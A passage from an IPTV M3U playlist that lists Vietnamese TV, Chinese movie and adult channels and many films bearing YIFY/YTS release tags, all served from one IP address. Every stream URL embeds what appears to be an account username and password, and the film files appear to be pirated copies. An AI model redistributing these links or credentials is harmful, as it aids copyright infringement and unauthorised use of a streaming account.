group-title="VIETNAM CHANNEL", THGL - Gia Lai http://188.40.76.108:25461/live/mytv01/uSIRzmks51/158.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", BRT - Bà R?a-V?ng Tàu TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/160.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", Nhân Dân TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/161.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", ?àN?ng TV2 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/162.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", BPTV2 - Bình Ph??c TV 2 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/164.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", BPTV1 - Bình Ph??c TV 1 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/165.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTV6 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/166.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTV5 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/167.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTV 1 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/171.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC13 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/174.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC12 - VTCK http://188.40.76.108:25461/live/mytv01/uSIRzmks51/175.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC10 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/176.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC9 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/177.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC8 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/178.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC7 - Today TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/179.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC6 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/180.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC5 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/181.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC4 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/182.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC3 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/183.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC2 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/184.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", VTC 1 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/185.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CHINESE MOVIE ???? 6 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/52.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CHINESE MOVIE ???? 5 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/53.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CHINESE MOVIE ???? 4 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/54.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CHINESE MOVIE ???? 3 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/55.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CHINESE MOVIE ???? 2 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/56.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CHINESE MOVIE ???? 1 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/57.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", HOLLYWOOD MOVIE 2 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/58.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CANTONESE MOVIE ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/61.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", BEST MOVIE ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/63.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", NewTV ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/65.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", NewTV ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/66.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", NewTV ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/67.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", ACTION CHANNEL ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/68.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CCTV6 ?? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/71.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CHC ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/72.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", FOX ACTION MOVIES http://188.40.76.108:25461/live/mytv01/uSIRzmks51/73.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", CELESTIAL MOVIES ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/74.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", WARNER TV ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/75.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", PHOENIX MOVIES ?????? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/78.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="MOVIE CHANNEL", STAR CHINESE MOVIES ???? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/79.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP Z1 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/186.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP X1 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/187.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP12 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/190.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP11 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/191.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP10 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/192.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP9 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/193.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP8 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/194.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP7 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/195.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP6 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/196.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP5 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/197.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP3 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/198.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP2 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/199.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ADULT CHANNEL(18+)", VIP1 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/200.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The Avengers 2012 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/371.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Avengers Age of Ultron (2015) http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/373.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Avengers Endgame (2019) http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/374.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Avengers Infinity War (2018) http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/375.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Aquaman (2018) http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/376.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Captain America - The First Avenger (2011) http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/379.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Edge of Tomorrow http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1191.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", Bidai.Byomkesh.2018.720p.WEBRip.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/584.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", Clash.2016.720p.BluRay.x264-[YTS.LT] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/585.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", Mata.Batin.2017.720p.WEBRip.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/586.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", Papicha.2019.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/587.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", Satan's.Slaves.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/588.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", The.Doll.2.2017.720p.WEBRip.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/589.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", The.Raid.2.2014.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/590.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", The.Raid.Redemption.2011.BRrip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/591.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="Malay Movie Video", Crossroad http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/609.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", 2.Fast.2.Furious.2003 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/457.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Captain.America.Civil.War.2016.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/458.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Captain.America.The.Winter.Soldier.2014.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/459.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Fast.&.Furious.Presents.Hobbs.&.Shaw.2019.720p.BluRay.x264-[YTS.LT] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/460.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Fast.and.Furious.2009.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/461.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Fast.and.the.Furious.2001.720p.BrRip.x264.YIFY+HI http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/462.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Fast.and.the.Furious.Tokyo.Drift.2011.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/463.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Fast 5 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/467.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Fast 6 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/468.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Fast 7 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/470.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Dark.Phoenix.2019.720p.BluRay.x264-[YTS.LT] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/473.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Logan.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/474.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Wolverine.2013.EXTENDED.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/475.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", X-Men.2.2003.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/476.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", X-Men.2000.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/477.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", X-Men.Apocalypse.2016.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/478.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", X-Men.First.Class.2011.720p.BrRip.264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/479.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", X-Men.Origins.Wolverine.2009.720p.BrRip.x264.YIFY. http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/480.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", X-Men.The.Last.Stand.2006.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/481.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", X.Men.Days.of.Future.Past.2014.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/482.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Bumblebee.2018.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/492.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Resident Evil 2002.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/493.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Resident Evil Afterlife 2010.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/494.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Resident Evil Apocalypse 2004.720p.BrRip.x64.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/495.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Resident Evil Extinction 2007.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/496.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Resident.Evil.Retribution.2012.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/497.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Resident.Evil.The.Final.Chapter.2016.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/498.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Transformers.2007.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/499.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Transformers.3.2011.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/500.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Transformers.Age.of.Extinction.2014.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/501.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Transformers.Revenge.of.the.Fallen.IMAX.EDITION.2009.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/502.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Transformers.The.Last.Knight.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/503.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", A.Good.Day.to.Die.Hard.2013.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/504.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Baywatch.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/505.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Central.Intelligence.2016.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/506.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Die.Hard.1988.720p.BrRip.x264.bitloks.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/507.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Die.Hard.2.1990.720p.BrRip.x264.bitloks.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/508.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Die.Hard.3.1995.720p.BrRip.x264.bitloks.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/509.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Die.Hard.4.2007.720p.BrRip.x264.bitloks.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/510.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Empire.State.2013.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/511.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Faster.2010.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/512.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Fighting.With.My.Family.2019.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/513.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", G.I..JoeA.Retaliation.2013.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/514.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Hercules.2014.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/515.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Journey.2.The.Mysterious.Island.2012.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/516.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Jumanji.The.Next.Level.2019.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/517.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Jumanji.Welcome.To.The.Jungle.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/518.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Moana.2016.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/519.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Pain.&.Gain.2013.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/520.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Rampage.2018.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/521.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", San.Andreas.2015.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/522.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Skyscraper.2018.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/523.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Snitch.2013.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/524.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The Mummy 1999.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/525.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Mummy.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/526.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The.Mummy.Returns.2001.1080p.BRrip.x264.GAZ.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/527.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The Mummy: Tomb of the Dragon Emperor http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/528.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Alien 3 Special Edition 1992.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/545.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Alien Director's Cut 1979.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/546.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Alien Prometheus.2012.720p.BluRay.X264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/547.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Alien Resurrection Special Edition 1997.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/548.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Alien.vs.Predator.2004.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/549.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Aliens Special Edition 1986.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/550.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Aliens.Vs..Predator.Requiem.2007.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/551.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Captain.Marvel.2019.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/552.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Doctor.Strange.2016.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/553.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Indiana.Jones.And.The.Kingdom.of.the.Crystal.Skull.2008.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/554.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Indiana.Jones.And.The.Last.Crusade.1989.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/555.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Indiana.Jones.And.The.Temple.Of.Doom.1984.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/556.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Jumanji.1995.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/557.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", King.Kong.2005.1080p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/558.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Kong.Skull.Island.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/559.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Pirates.Of.The.Caribbean.Dead.Men.Tell.No.Tales.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/560.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Pirates.of.the.Caribbean.At.Worlds.End.2007.720p.BrRip.x264.Deceit.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/561.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", Pirates.of.the.Caribbean.Curse.of.the.Black.Pearl.2003.720p.BrRip.x264.Deceit.YIFY 